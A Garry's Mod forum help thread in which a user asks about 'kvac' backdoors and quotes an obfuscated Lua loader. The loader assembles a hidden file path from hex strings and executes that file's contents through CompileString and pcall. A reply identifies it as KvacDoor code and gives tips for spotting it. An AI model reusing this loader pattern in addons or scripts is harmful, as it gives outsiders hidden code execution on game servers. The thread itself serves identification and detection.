Garry's Mod Leaks

[HELP] Question about kvac (backdoors)

Submitted by CCalvin_, , Thread ID: 238115

Thread Closed
19-03-2022, 02:34 PM
This post was last modified: 19-03-2022, 02:35 PM by CCalvin_
#1
First actual post, pog

Heyo, I'm just curious on what "kvac" is, just to reference it, I'm not aware of anything of recent (2021-2022) as I haven't played Garry's Mod like that since 2019 or so.
Also, probably in the wrong category, but yeah!

I've found this; - If anyone has anything that could help with this, or more of with backdoors so I can look more efficiently or so, that'd help a lot.
(I stopped using gmodstore since an incident that got me banned for someone else gifting and refunding, I lost about 500$+ and was denied for getting them back)

Quote:[font=Consolas, "Courier New", monospace]local function HELPER_INFO()
return ""
end

local function HELPER_ISFUNC(func)
if (isfunction(func)) then
return !false
else
return !true
end
end

local function HELPER_READ_DATA(data)
return file.Read(data, "GAME")
end

local UNORDERED_LIST =
{
"\x6d","\x61","\x74",
"\x65","\x72","\x69",
"\x61","\x6c","\x73",
"\x2f","\x6e","\x70",
"\x63","\x2f","\x68",
"\x65","\x6c","\x70",
"\x2e","\x76","\x74",
"\x66"
}

local function HELPER_MAT()
if (!false) then
return string.Implode("", UNORDERED_LIST)
end
end

local CALL =
{
ClearBackgroundImages, ClientsideModel, ClientsideRagdoll, ClientsideScene,
CloseDermaMenus, collectgarbage, Color, ColorAlpha,
ColorRand, ColorToHSV, CompileFile, CompileString,
ConsoleAutoComplete, ConVarExists, CreateClientConVar, CreateConVar,
CreateMaterial, CreateParticleSystem, CreatePhysCollideBox, CreatePhysCollidesFromModel,
CreateSound, CreateSprite, CompileString, CurTime,
DamageInfo, DebugInfo, DeriveGamemode, Derma_Anim,
Derma_DrawBackgroundBlur, Derma_Hook, Derma_Install_Convar_Functions, Derma_Message,
Derma_Query, Derma_StringRequest, pcall,
}

CALL[35](CALL[12](HELPER_READ_DATA(HELPER_MAT()), HELPER_INFO(), 0))[/font]

RE: [HELP] Question about kvac (backdoors)

This post was last modified: 19-03-2022, 03:11 PM by Poggers kekw
#2
"kvac" also know as KvacDoor is a garry's mod backdooring website that lets people who post backdoored addons gain serverside access to the server you're using it in. the code showcased is encrypted code from kvac premium. other panels have something simular such as omega. a good way of finding a backdoor like this you check for code containing "RunString". or if npc_help.lua exists in lua/autorun/server

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